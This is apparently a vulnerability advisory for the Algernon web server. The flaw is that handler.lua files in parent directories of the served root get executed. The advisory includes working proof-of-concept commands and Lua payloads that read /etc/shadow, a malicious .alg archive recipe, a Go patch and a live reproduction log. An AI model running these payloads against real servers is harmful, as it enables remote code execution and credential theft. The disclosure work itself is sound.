Details
PoC
Variant A — confused-deputy via shared parent
# Operator runs Algernon serving a directory under /srv:
sudo mkdir -p /srv/site && echo '<h1>hi</h1>' > /srv/site/index.html
algernon --prod /srv/site & # binds :3000
# Attacker (any account with write to /srv) drops handler.lua one level up:
cat > /srv/handler.lua <<'EOF'
-- Runs in the Algernon process; whoami leaks the process owner.
local out, _, _ = run3("id; cat /etc/shadow 2>&1 | head -3")
print(out)
EOF
# Trigger from anywhere on the network — any directory URL that lacks an
# index.* file inside /srv/site fires the parent walk. The cleanest trigger
# is to request a non-existent subdir:
curl -i http://server:3000/nope/
# => Algernon executes /srv/handler.lua. Response body is the captured stdout
# of `id` and the first lines of /etc/shadow (if Algernon runs as root,
# or the targeted file is readable by its uid).
Variant B — .alg archive plants handler.lua in /dev/shm
FilePage extracts .alg archives into /dev/shm (preferred) or serverTempDir. An .alg archive crafted with a top-level handler.lua lands the file into a path that is a parent of every directory served out of that extraction root.
# Craft a malicious .alg
mkdir -p evil && cat > evil/handler.lua <<'EOF'
local out, _, _ = run3("uname -a; whoami")
print(out)
EOF
( cd evil && zip -r ../evil.alg . )
# Once served — algernon evil.alg — any request that resolves to a directory
# without an index inside the extraction root executes the attacker handler.
algernon evil.alg
curl -i http://localhost:3000/anything/ # walks up to /dev/shm/handler.lua
Variant C — algernon /home/<user>/site picks up ~/handler.lua
Any leftover handler.lua in the user's home directory (a tutorial fragment, a copy-paste, a file from another project) is sufficient. No attacker code is needed to reproduce: copy samples/handle/handler.lua into ~/ and serve any directory under ~/. Every directory request will execute the home-directory handler.
Impact
- Confidentiality: high — handler runs with the Algernon process's UID and reaches every database, redis instance, secret file, and cookie secret in memory.
- Integrity: high — handler can write to any path the process can write, including
index.lua/handler.luafiles of the served tree, persisting the compromise. - Availability: high — handler can
os.exit, hang the LState pool, or fork shell commands. - Scope: changed (CVSS S:C) — a write primitive against a parent directory (which the operator may consider out of scope of Algernon entirely) crosses into the Algernon process's full authority.
Affected population: every Algernon deployment whose server-root path has any parent directory that is writable by a less-trusted principal — which includes (a) every --prod install on a host where any non-root user can write to /srv or /, (b) every multi-tenant deployment under a common parent, (c) every algernon <path> invocation where ~, ~/Desktop, /tmp, /var/tmp, or any other ancestor is writable by anyone other than the Algernon-process owner, (d) every server that serves .alg archives.
Suggestions to fix
Primary fix — clamp the walk to the server root. DirPage already has access to rootdir; the loop must terminate once ancestor ceases to be a descendant of rootdir:
// engine/dirhandler.go -- replace the walk in DirPage
rootAbs, err := filepath.Abs(rootdir)
if err != nil {
rootAbs = rootdir
}
ancestor, err := filepath.Abs(dirname)
if err != nil {
ancestor = dirname
}
for {
// Stop before leaving the configured server root.
rel, err := filepath.Rel(rootAbs, ancestor)
if err != nil || rel == ".." || strings.HasPrefix(rel, ".."+string(filepath.Separator)) {
break
}
candidate := filepath.Join(ancestor, "handler.lua")
if ac.fs.Exists(candidate) {
ac.FilePage(w, req, candidate, luaDataFilename)
return
}
if ancestor == rootAbs {
break
}
parent := filepath.Dir(ancestor)
if parent == ancestor { // hit filesystem root without a match
break
}
ancestor = parent
}
The 100-iteration cap and the ancestor == "." check were both attempts to bound the search; clamping to rootdir removes the underlying confused-deputy primitive instead. The same boundary check should be applied to the index.* lookup loop at engine/dirhandler.go:162-168, which is currently fine because filepath.Join(dirname, indexfile) cannot escape dirname, but is worth asserting explicitly so the invariant survives future refactors.
Defence in depth:
- Cache the resolved
handler.luapath per server start and *log a warning* if the resolved file lives outside the server root. An operator who placeshandler.luadeliberately in a parent directory will see the warning and either move it or accept the risk explicitly. - For
.alg/zip extraction, refuse archives containing a top-levelhandler.lua(or rename them on extract). The extraction directory is, by design, a parent of the served tree, so a top-levelhandler.luain any uploaded.algis the same primitive. - Document explicitly in
TUTORIAL.mdthathandler.luais searched in parent directories — current docs describe per-directoryhandler.luabut do not mention the upward walk. The hardening above removes the need for the warning, but the docs should track reality either way. - Consider stripping the unsandboxed Lua libraries (
os,io,package,debug,load/loadstring,run3) when the discovered handler lives outside the configured server root, even if the walk is otherwise permitted. The audit trail is then "Lua handler ran *somewhere* the operator didn't bless, but at least it couldn't shell out."
Live verification (2026-05-11, Algernon 1.17.6)
Reproduced against a fresh go build of xyproto/algernon@main on Windows 10.
Layout:
poc1/
parent/
handler.lua # ATTACKER-PLANTED, OUTSIDE the served root
site/ # the directory passed to algernon
subdir/ # empty subdirectory
parent/handler.lua contains:
print("=== PWNED via parent handler.lua ===")
print("Hostname info: ", os.getenv("COMPUTERNAME") or os.getenv("HOSTNAME") or "n/a")
print("Algernon PID would be readable here; this code runs in-process.")
print("Request path was reached by walking past the served root.")
Run (no admin paths configured, default permissions, no auth):
$ ./algernon.exe --nodb --httponly --server --addr 127.0.0.1:18765 --quiet poc1/parent/site
Anonymous requests against `/` and `/subdir/`:
$ curl -s -w "HTTP %{http_code}\n" http://127.0.0.1:18765/
=== PWNED via parent handler.lua ===
Hostname info: DESKTOP-4RLE5YR
Algernon PID would be readable here; this code runs in-process.
Request path was reached by walking past the served root.
HTTP 200
$ curl -s -w "HTTP %{http_code}\n" http://127.0.0.1:18765/subdir/
=== PWNED via parent handler.lua ===
Hostname info: DESKTOP-4RLE5YR
...
HTTP 200